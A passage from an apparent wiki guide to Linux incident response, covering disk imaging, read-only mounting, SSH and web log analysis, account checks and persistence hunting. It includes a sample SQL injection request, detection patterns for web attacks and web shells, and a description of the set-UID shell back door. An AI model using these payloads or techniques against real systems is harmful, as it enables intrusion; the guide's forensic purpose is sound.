Only do this over a network you trust, as netcat does not encrypt anything. Hash the memory file when it is complete. Then check that you can actually use it, becuase Linux memory analysis often fails at the first hurdle (see [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).&lt;br /&gt;
&lt;br /&gt;
=== Capturing a disk ===&lt;br /&gt;
&lt;br /&gt;
How you image a disk depends on where the machine lives. It is best to be flexible as no single method fits every single case.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Public cloud:&#039;&#039;&#039; use the provider&#039;s documented forensic procedure (usually a snapshot of the volume that you attach to an analysis instance).&lt;br /&gt;
* &#039;&#039;&#039;Your own hypervisor:&#039;&#039;&#039; snapshot the virtual machine. That typically gives you a memory image as well as the disk. Convert the virtual disk to a raw image if your tools need it (&amp;lt;code&amp;gt;qemu-img convert&amp;lt;/code&amp;gt; does this).&lt;br /&gt;
* &#039;&#039;&#039;Physical disk:&#039;&#039;&#039; image the disk from a trusted boot environment (or through a hardware write blocker) with a forensic imager such as &amp;lt;code&amp;gt;ewfacquire&amp;lt;/code&amp;gt; (compressed E01 files) or &amp;lt;code&amp;gt;dc3dd&amp;lt;/code&amp;gt; (raw).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# raw image with a built-in hash and log (replace /dev/sdb with the disk being imaged)&lt;br /&gt;
sudo dc3dd if=/dev/sdb of=/mnt/evidence/disk.raw hash=sha256 log=/mnt/evidence/disk.log&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Forensic imaging usually happens on machines that were not shut down cleanly (a clean shutdown usually alters the disk). As a result, the file systems in the image are often &amp;quot;dirty,&amp;quot; which matters when you mount them (below).&lt;br /&gt;
&lt;br /&gt;
== Working from a disk image ==&lt;br /&gt;
&lt;br /&gt;
Linux forensic tools generally want a &#039;&#039;&#039;raw&#039;&#039;&#039; image. Common forensic formats such as E01 must be converted or exposed as raw first. To add on to that, Linux disks are also often built in layers, and you may have to peel them back one at a time:&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;E01 container&#039;&#039;&#039; (if used): expose it as a raw disk image.&lt;br /&gt;
# &#039;&#039;&#039;Partition table:&#039;&#039;&#039; find which partitions exist and where they start.&lt;br /&gt;
# &#039;&#039;&#039;Encryption or software RAID&#039;&#039;&#039; (if used): unlock or assemble it. (Not covered.)&lt;br /&gt;
# &#039;&#039;&#039;LVM&#039;&#039;&#039; (very common): activate the logical volumes.&lt;br /&gt;
# &#039;&#039;&#039;File system:&#039;&#039;&#039; mount it read-only.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo mkdir -p /mnt/img /mnt/data&lt;br /&gt;
&lt;br /&gt;
# E01 container -&amp;gt; a virtual raw file at /mnt/img/ewf1 (read-only). Skip this if you already have a raw image.&lt;br /&gt;
sudo ewfmount Webserver.E01 /mnt/img&lt;br /&gt;
&lt;br /&gt;
# partition table to check what&#039;s inside (mmls is from The Sleuth Kit; note each partition&#039;s Start sector)&lt;br /&gt;
mmls /mnt/img/ewf1&lt;br /&gt;
&lt;br /&gt;
# attach a read-only loopback device at a partition&#039;s start (start sector x 512 bytes)&lt;br /&gt;
START_SECTOR=501760&lt;br /&gt;
sudo losetup -rf -o $((START_SECTOR*512)) /mnt/img/ewf1&lt;br /&gt;
losetup -a                       # which loop device did you get? (here: /dev/loop0)&lt;br /&gt;
file -s /dev/loop0               # confirm what is on it (for example: LVM2 PV)&lt;br /&gt;
&lt;br /&gt;
# LVM: find and activate the volume group, then list its logical volumes&lt;br /&gt;
sudo pvdisplay /dev/loop0        # note the &amp;quot;VG Name&amp;quot;&lt;br /&gt;
sudo vgscan&lt;br /&gt;
sudo vgchange -a y VOLUME_GROUP_NAME&lt;br /&gt;
sudo lvscan&lt;br /&gt;
&lt;br /&gt;
# file system: mount read-only, with no program execution allowed&lt;br /&gt;
sudo mount -o ro,noexec,noload /dev/VOLUME_GROUP_NAME/root /mnt/data&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notes on the options:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ro&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;noexec&amp;lt;/code&amp;gt;: even though the layers below are already read-only, use both anyway (it&#039;s a good habit to build), and &amp;lt;code&amp;gt;noexec&amp;lt;/code&amp;gt; stops you from accidentally running malware from the image you are investigating (which would be really, really bad).&lt;br /&gt;
* &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt;: an image taken from a machine that was running is usually &amp;quot;dirty,&amp;quot; meaning the file system&#039;s journal has unfinished changes. A plain read-only mount then fails (check &amp;lt;code&amp;gt;dmesg | tail&amp;lt;/code&amp;gt;). &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt; tells the ext3/ext4 driver to ignore the journal so the mount succeeds without replaying (and thus modifying) anything. The trade-off however is that the last few changes before the capture may not be visible. XFS uses &amp;lt;code&amp;gt;norecovery&amp;lt;/code&amp;gt; instead, and often also needs &amp;lt;code&amp;gt;nouuid&amp;lt;/code&amp;gt; if your workstation has a file system with the same ID.&lt;br /&gt;
* A partition that is not part of LVM (often &amp;lt;code&amp;gt;/boot&amp;lt;/code&amp;gt;) needs no LVM step: mount it straight from the image with &amp;lt;code&amp;gt;mount -o ro,noexec,loop,offset=$((START_SECTOR*512)) /mnt/img/ewf1 /mnt/data/boot&amp;lt;/code&amp;gt; (add &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt; if it complains about the journal).&lt;br /&gt;
&lt;br /&gt;
Take the layers down in reverse order when you are done:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo umount /mnt/data&lt;br /&gt;
sudo vgchange -a n VOLUME_GROUP_NAME&lt;br /&gt;
sudo losetup -d /dev/loop0&lt;br /&gt;
sudo umount /mnt/img             # the ewfmount&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Traps when reading a mounted image:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Owner names shown by &amp;lt;code&amp;gt;ls -l&amp;lt;/code&amp;gt; come from &#039;&#039;&#039;your workstation&#039;s&#039;&#039;&#039; &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;, not the image&#039;s, so UID 1001 might display as the wrong person. Use &amp;lt;code&amp;gt;ls -ln&amp;lt;/code&amp;gt; (numbers) or look up the IDs in the image&#039;s own &amp;lt;code&amp;gt;/mnt/data/etc/passwd&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Absolute symbolic links inside the image point at your own system&#039;s files, not the image&#039;s. Check with &amp;lt;code&amp;gt;readlink&amp;lt;/code&amp;gt; instead of simply blindly trusting what a link shows you.&lt;br /&gt;
* Most tools can read a copy of a log directly: &amp;lt;code&amp;gt;last -aiF -f /mnt/data/var/log/wtmp&amp;lt;/code&amp;gt;, or &amp;lt;code&amp;gt;journalctl -D /mnt/data/var/log/journal&amp;lt;/code&amp;gt; (if the system kept a persistent journal).&lt;br /&gt;
&lt;br /&gt;
== Step 2: Find the way in ==&lt;br /&gt;
&lt;br /&gt;
=== Remote login (SSH) ===&lt;br /&gt;
&lt;br /&gt;
Password guessing against SSH is constant background noise on any internet-facing host. The question is not &amp;quot;was I attacked?&amp;quot; (you were, of course) but &amp;quot;did any guess succeed?&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# which addresses failed the most (the address is the 4th field from the end of the line)&lt;br /&gt;
sudo grep &amp;quot;Failed password&amp;quot; /var/log/auth.log | awk &#039;{print $(NF-3)}&#039; | sort | uniq -c | sort -nr | head&lt;br /&gt;
&lt;br /&gt;
# did any of them ever get in?&lt;br /&gt;
sudo grep &amp;quot;Accepted&amp;quot; /var/log/auth.log&lt;br /&gt;
&lt;br /&gt;
# every event involving one address, in order&lt;br /&gt;
sudo grep -E &amp;quot;Failed|Accepted&amp;quot; /var/log/auth.log | grep 198.51.100.7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example output (addresses here are from the reserved documentation ranges, not real hosts):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
Sep 10 13:58:01 web sshd[911]: Failed password for root from 198.51.100.7 port 51522 ssh2&lt;br /&gt;
Sep 10 13:58:03 web sshd[911]: Failed password for invalid user admin from 198.51.100.7 port 51530 ssh2&lt;br /&gt;
Sep 10 13:58:09 web sshd[917]: Failed password for root from 198.51.100.7 port 51544 ssh2&lt;br /&gt;
Sep 10 13:59:40 web sshd[930]: Accepted password for deploy from 198.51.100.7 port 51601 ssh2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The pattern to worry about is &#039;&#039;&#039;many failures, then a success, from the same address&#039;&#039;&#039;, especially for an account that should never log in from that place. Confirm with the login records:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
last -aiF | head -20               # recent logins with full timestamps and source IPs&lt;br /&gt;
sudo lastb -aiF | head -20         # recent failed logins&lt;br /&gt;
lastlog | grep -v &amp;quot;Never logged in&amp;quot;&lt;br /&gt;
journalctl -u ssh --since &amp;quot;2026-09-10&amp;quot; -g &amp;quot;Accepted&amp;quot;   # the unit is &amp;quot;sshd&amp;quot; on RHEL-family systems&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Be aware that these records are easy to lose: &amp;lt;code&amp;gt;wtmp&amp;lt;/code&amp;gt; is often rotated (truncated) weekly or monthly, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt; may not be kept at all because failed logins can contain mistyped passwords, and &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt;&#039;s format varies between systems.&lt;br /&gt;
&lt;br /&gt;
Success by public key leaves a different line (&amp;lt;code&amp;gt;Accepted publickey for ...&amp;lt;/code&amp;gt;). If you see one for a key you do not recognize, go straight to [[#Step 4: Persistence|persistence]] and check &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Web applications ===&lt;br /&gt;
&lt;br /&gt;
Web server access logs record one line per request. In the common &amp;quot;combined&amp;quot; format the fields are: client address, timestamp, request line, status code, response size in bytes, referrer and User-Agent.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
198.51.100.9 - - [10/Sep/2026:14:03:01 +0000] &amp;quot;GET /item.php?id=1%27%20UNION%20SELECT%20user,pass%20FROM%20users--%20- HTTP/1.1&amp;quot; 500 1024 &amp;quot;-&amp;quot; &amp;quot;sqlmap/1.7&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Start with an overview, and then zoom in on one address:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
LOG=/var/log/apache2/access.log     # /var/log/nginx/access.log, or /var/log/httpd/access_log&lt;br /&gt;
&lt;br /&gt;
awk &#039;{print $1}&#039; $LOG | sort | uniq -c | sort -nr | head     # busiest clients&lt;br /&gt;
awk &#039;{print $9}&#039; $LOG | sort | uniq -c | sort -nr            # status code counts&lt;br /&gt;
grep &#039;^198.51.100.9 &#039; $LOG                                   # everything one client did&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Attackers usually send their payload URL-encoded (&amp;lt;code&amp;gt;%27&amp;lt;/code&amp;gt; is &amp;lt;code&amp;gt;&#039;&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%20&amp;lt;/code&amp;gt; is a space). Decode the lines you are reading:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
grep &#039;^198.51.100.9 &#039; $LOG | python3 -c &#039;import sys,urllib.parse as u; [print(u.unquote(l),end=&amp;quot;&amp;quot;) for l in sys.stdin]&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
(A plain &amp;lt;code&amp;gt;+&amp;lt;/code&amp;gt; in a query string can also mean a space; &amp;lt;code&amp;gt;unquote&amp;lt;/code&amp;gt; leaves it alone so timestamps such as &amp;lt;code&amp;gt;+0000&amp;lt;/code&amp;gt; stay readable.)&lt;br /&gt;
&lt;br /&gt;
==== What common web attacks look like in the log ====&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Attack !! What to look for in the request !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| SQL injection || &amp;lt;code&amp;gt;&#039;&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;%27&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;UNION SELECT&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;OR 1=1&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;--&amp;lt;/code&amp;gt;, or an automated-tool User-Agent such as &amp;lt;code&amp;gt;sqlmap&amp;lt;/code&amp;gt; || A burst of &amp;lt;code&amp;gt;500&amp;lt;/code&amp;gt; errors from one client while it probes is typical. A later run of &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; responses with unusually large sizes can mean data came back.&lt;br /&gt;
|-&lt;br /&gt;
| Cross-site scripting (XSS) || &amp;lt;code&amp;gt;&amp;amp;lt;script&amp;amp;gt;&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;%3Cscript&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;onerror=&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;javascript:&amp;lt;/code&amp;gt; || Reflected XSS shows in the URL. Stored XSS is usually submitted in a POST body, which is not logged (see below).&lt;br /&gt;
|-&lt;br /&gt;
| Path traversal / file inclusion || &amp;lt;code&amp;gt;../&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;..%2f&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%2e%2e&amp;lt;/code&amp;gt;, or a path like &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; in a parameter || A &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; with a plausible response size means the file may have been returned.&lt;br /&gt;
|-&lt;br /&gt;
| Command injection || Shell metacharacters (&amp;lt;code&amp;gt;;&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%3B&amp;lt;/code&amp;gt;, backticks, &amp;lt;code&amp;gt;$(&amp;lt;/code&amp;gt;) followed by commands like &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;curl&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/bin/sh&amp;lt;/code&amp;gt; || Confirm with the process tree: did the web server user spawn anything?&lt;br /&gt;
|-&lt;br /&gt;
| Shellshock (CVE-2014-6271) || &amp;lt;code&amp;gt;() {&amp;lt;/code&amp;gt; at the start of a header value, usually User-Agent, against a &amp;lt;code&amp;gt;/cgi-bin/&amp;lt;/code&amp;gt; script || Old and long patched, but a good example: the attack rides in a header, not the URL.&lt;br /&gt;
|-&lt;br /&gt;
| Web shell upload || A POST to an upload form, then GET requests to a brand-new &amp;lt;code&amp;gt;.php&amp;lt;/code&amp;gt; file in the upload directory || Look for files the application should not have created.&lt;br /&gt;
|-&lt;br /&gt;
| Scanning and reconnaissance || Many &amp;lt;code&amp;gt;404&amp;lt;/code&amp;gt;s, requests for &amp;lt;code&amp;gt;/.env&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/wp-login.php&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/phpmyadmin&amp;lt;/code&amp;gt;, or scanner User-Agents || Common and usually harmless on its own; it tells you who was looking, not who got in.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# starting-point searches (expect some false positives; refine them as much as you can before you start trustung their results)&lt;br /&gt;
grep -iE &amp;quot;union.{1,10}select|sqlmap|%27&amp;quot; $LOG            # SQL injection&lt;br /&gt;
grep -iE &amp;quot;&amp;lt;script|%3Cscript|onerror=&amp;quot; $LOG               # XSS&lt;br /&gt;
grep -E &amp;quot;\.\./|%2e%2e|/etc/passwd&amp;quot; $LOG                   # path traversal&lt;br /&gt;
grep -E &#039;\(\) *\{&#039; $LOG                                   # Shellshock-style header&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Important limits of access logs.&#039;&#039;&#039; The server does not log &#039;&#039;&#039;POST bodies&#039;&#039;&#039; or, by default, most headers other than User-Agent and Referer. An injection sent by POST leaves only a bare &amp;lt;code&amp;gt;POST /login&amp;lt;/code&amp;gt; line. To see those attacks you need application logs, database query logs, or a web application firewall (for example ModSecurity) that records rejected requests. Also, a &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; status only means the request was served, not that the attack worked, and a &amp;lt;code&amp;gt;500&amp;lt;/code&amp;gt; does not mean it failed.&lt;br /&gt;
&lt;br /&gt;
==== From a request to a compromise ====&lt;br /&gt;
&lt;br /&gt;
A logged attack request proves that someone &#039;&#039;tried&#039;&#039; to attack. To decide whether it &#039;&#039;worked&#039;&#039;, follow it into the rest of the system:&lt;br /&gt;
&lt;br /&gt;
* Did a process appear in the tree, owned by the web server user (&amp;lt;code&amp;gt;www-data&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;apache&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;nginx&amp;lt;/code&amp;gt;), just after the request timestamp?&lt;br /&gt;
* Is that process holding a network connection to an address that is not one of your users or dependencies?&lt;br /&gt;
* Are there new or modified files in the web root, &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt; from about the same time?&lt;br /&gt;
* Did the same client address go on to do anything else (a second request type, a login)?&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# files in the web root changed in the last 2 days&lt;br /&gt;
sudo find /var/www -type f -mtime -2 -ls&lt;br /&gt;
&lt;br /&gt;
# PHP files that call functions commonly used by web shells (often noisy)&lt;br /&gt;
sudo grep -RIlE &amp;quot;(eval|assert|system|passthru|shell_exec|proc_open)[[:space:]]*\(&amp;quot; /var/www --include=*.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Step 3: What did they do? ==&lt;br /&gt;
&lt;br /&gt;
=== Privilege escalation and account activity ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo grep -E &amp;quot;sudo:|su\[|su:&amp;quot; /var/log/auth.log | grep -E &amp;quot;COMMAND=|session opened&amp;quot;   # who ran what as root&lt;br /&gt;
sudo grep -E &amp;quot;useradd|usermod|groupadd|passwd\[&amp;quot; /var/log/auth.log                     # account changes&lt;br /&gt;
awk -F: &#039;$3==0 {print $1}&#039; /etc/passwd            # accounts with UID 0 should be only &amp;quot;root&amp;quot;&lt;br /&gt;
sudo awk -F: &#039;$2==&amp;quot;&amp;quot; {print $1}&#039; /etc/shadow      # accounts with an empty password&lt;br /&gt;
grep -vE &#039;(nologin|false)$&#039; /etc/passwd           # accounts that can log in interactively&lt;br /&gt;
ls -l /etc/sudoers.d/; sudo grep -rvE &#039;^\s*(#|$)&#039; /etc/sudoers /etc/sudoers.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
A second UID-0 account, or a regular user suddenly present in &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt;, is a strong indicator. Attackers who want to blend in often reuse existing accounts rather than create obvious new ones, so also check that service accounts (such as &amp;lt;code&amp;gt;www-data&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;mysql&amp;lt;/code&amp;gt;) still have a non-login shell and no usable password hash in &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;, and that nobody has been quietly added to a privileged group in &amp;lt;code&amp;gt;/etc/group&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Command history ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo sh -c &#039;ls -l /root/.bash_history /home/*/.bash_history&#039;   # empty? a symlink to /dev/null? recently truncated?&lt;br /&gt;
sudo sh -c &#039;cat /root/.bash_history /home/*/.bash_history&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
What to keep in mind about &amp;lt;code&amp;gt;.bash_history&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
* Bash writes history when a shell exits, so a session that is still open, or that was killed, may not be recorded yet. On a live system the missing commands are only in memory (see the &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt; plugin in [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).&lt;br /&gt;
* It has &#039;&#039;&#039;no timestamps&#039;&#039;&#039; by default (unless &amp;lt;code&amp;gt;HISTTIMEFORMAT&amp;lt;/code&amp;gt; was set). To date a command, match it with other evidence:a log line, a file&#039;s timestamp, or a process start time. For example, a &amp;lt;code&amp;gt;useradd&amp;lt;/code&amp;gt; in the history can be tied to the log entry for the new account and the modification time of &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;.&lt;br /&gt;
* It is a plain text file. Attackers can edit or delete it, clear it (&amp;lt;code&amp;gt;history -c&amp;lt;/code&amp;gt;), unset &amp;lt;code&amp;gt;HISTFILE&amp;lt;/code&amp;gt;, or link it to &amp;lt;code&amp;gt;/dev/null&amp;lt;/code&amp;gt;. Older copies sometimes survive in the disk&#039;s unallocated space, so searching a disk image for typical command strings can recover deleted history.&lt;br /&gt;
* An &#039;&#039;empty or missing&#039;&#039; history on an account that is otherwise active is itself worth noting.&lt;br /&gt;
&lt;br /&gt;
=== Other traces users leave behind ===&lt;br /&gt;
&lt;br /&gt;
Interactive use of a Linux system leaves small traces in the user&#039;s home directory. Individually minor, they often fill in the story:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! File (in the user&#039;s home directory) !! What it can show&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/authorized_keys&amp;lt;/code&amp;gt; || Keys that can log in &#039;&#039;to&#039;&#039; this account. Any key you do not recognize is a possible back door.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/known_hosts&amp;lt;/code&amp;gt; || Machines this user connected &#039;&#039;out to&#039;&#039; over SSH. It shows an SSH connection was made, not that the login succeeded. Entries can be hashed, hiding the addresses.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.ssh/config&amp;lt;/code&amp;gt; || Shortcuts, user names and jump hosts the user set up, which can reveal other systems they reach.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.lesshst&amp;lt;/code&amp;gt; || Search terms typed into the &amp;lt;code&amp;gt;less&amp;lt;/code&amp;gt; pager, and commands run from inside it.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.viminfo&amp;lt;/code&amp;gt; || Files recently edited in &amp;lt;code&amp;gt;vim&amp;lt;/code&amp;gt; (with the position in each), plus its search and command history.&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.local/share/recently-used.xbel&amp;lt;/code&amp;gt; || Files opened through the desktop file manager, with timestamps (only on systems with a desktop).&lt;br /&gt;
|-&lt;br /&gt;
| &amp;lt;code&amp;gt;.local/share/Trash/&amp;lt;/code&amp;gt; || Files deleted through the desktop; the &amp;lt;code&amp;gt;info/&amp;lt;/code&amp;gt; folder records where each came from.&lt;br /&gt;
|-&lt;br /&gt;
| Browser profiles (Firefox, Chromium) || Browsing, downloads and saved sessions on desktop systems.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== The audit framework ===&lt;br /&gt;
&lt;br /&gt;
If &amp;lt;code&amp;gt;auditd&amp;lt;/code&amp;gt; is installed and configured, it is the best source for &amp;quot;who ran what.&amp;quot; For example, with a rule that watches account files:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# in /etc/audit/rules.d/identity.rules&lt;br /&gt;
-w /etc/passwd -p wa -k identity&lt;br /&gt;
-w /etc/shadow -p wa -k identity&lt;br /&gt;
&lt;br /&gt;
# later, when investigating&lt;br /&gt;
sudo ausearch -k identity -i         # events that matched the rule, human-readable&lt;br /&gt;
sudo aureport -au                    # authentication summary&lt;br /&gt;
&lt;br /&gt;
# the same tools can read logs copied off a machine or mounted from an image&lt;br /&gt;
sudo ausearch --if /mnt/data/var/log/audit -i -c useradd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
If keystroke (TTY) auditing was enabled, &amp;lt;code&amp;gt;aureport --tty&amp;lt;/code&amp;gt; can show what was typed. Auditing has to be set up &#039;&#039;before&#039;&#039; the incident; it cannot reconstruct events that were never recorded.&lt;br /&gt;
&lt;br /&gt;
== Step 4: Persistence ==&lt;br /&gt;
&lt;br /&gt;
Attackers who got in once want to be able to get back in. Some do not bother (opportunistic cryptocurrency miners are sometimes dropped with no persistence at all), but many do. Check every place a program can be made to start again on its own:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;# scheduled tasks&lt;br /&gt;
cat /etc/crontab; ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily&lt;br /&gt;
sudo ls -la /var/spool/cron/crontabs/          # /var/spool/cron/ on RHEL family&lt;br /&gt;
sudo ls -la /var/spool/cron/atjobs/ 2&amp;gt;/dev/null   # one-time &amp;quot;at&amp;quot; jobs (Debian/Ubuntu)&lt;br /&gt;
systemctl list-timers --all&lt;br /&gt;
&lt;br /&gt;
# services and units&lt;br /&gt;
systemctl list-unit-files --state=enabled&lt;br /&gt;
sudo find /etc/systemd /usr/lib/systemd -type f -newermt &amp;quot;2026-09-01&amp;quot;&lt;br /&gt;
ls -la ~/.config/systemd/user 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# SSH keys (any key listed here can log in as that user with no password)&lt;br /&gt;
sudo find / -xdev -name authorized_keys -exec ls -l {} \;&lt;br /&gt;
sudo sh -c &#039;cat /root/.ssh/authorized_keys /home/*/.ssh/authorized_keys&#039; 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
# shell start-up files that run at every login&lt;br /&gt;
ls -la /etc/profile.d/ ~/.bashrc ~/.profile /root/.bashrc&lt;br /&gt;
&lt;br /&gt;
# programs injected into every process (normally this file is absent or empty)&lt;br /&gt;
cat /etc/ld.so.preload 2&amp;gt;/dev/null&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Older systems use init scripts under &amp;lt;code&amp;gt;/etc/init*&amp;lt;/code&amp;gt; instead of (or as well as) systemd. And remember that an attacker who wants to be less obvious may leave the cron entry or service unit alone and instead modify a &#039;&#039;&#039;script that a legitimate task already runs&#039;&#039;&#039;. Look at what your scheduled tasks and services actually execute, not only at their configuration.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Back doors beyond start-up entries:&#039;&#039;&#039; a web shell in the web root; a replacement &amp;lt;code&amp;gt;sshd&amp;lt;/code&amp;gt; with a built-in password; an extra UID 0 account; a service account given a password; an added &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt; line; a broadened &amp;lt;code&amp;gt;sudoers&amp;lt;/code&amp;gt; entry; and the set-UID trick below.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Set-UID/set-GID programs.&#039;&#039;&#039; A program with the set-UID bit runs with its &#039;&#039;owner&#039;s&#039;&#039; privileges rather than the user&#039;s (this is how &amp;lt;code&amp;gt;passwd&amp;lt;/code&amp;gt; can update &amp;lt;code&amp;gt;/etc/shadow&amp;lt;/code&amp;gt;). An attacker with root can copy a shell, turn on the set-UID bit and leave it somewhere quiet; anyone who can run it (with &amp;lt;code&amp;gt;-p&amp;lt;/code&amp;gt;, so it does not drop its privileges) is root again.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# set-UID / set-GID programs anywhere outside /usr (there should be very few)&lt;br /&gt;
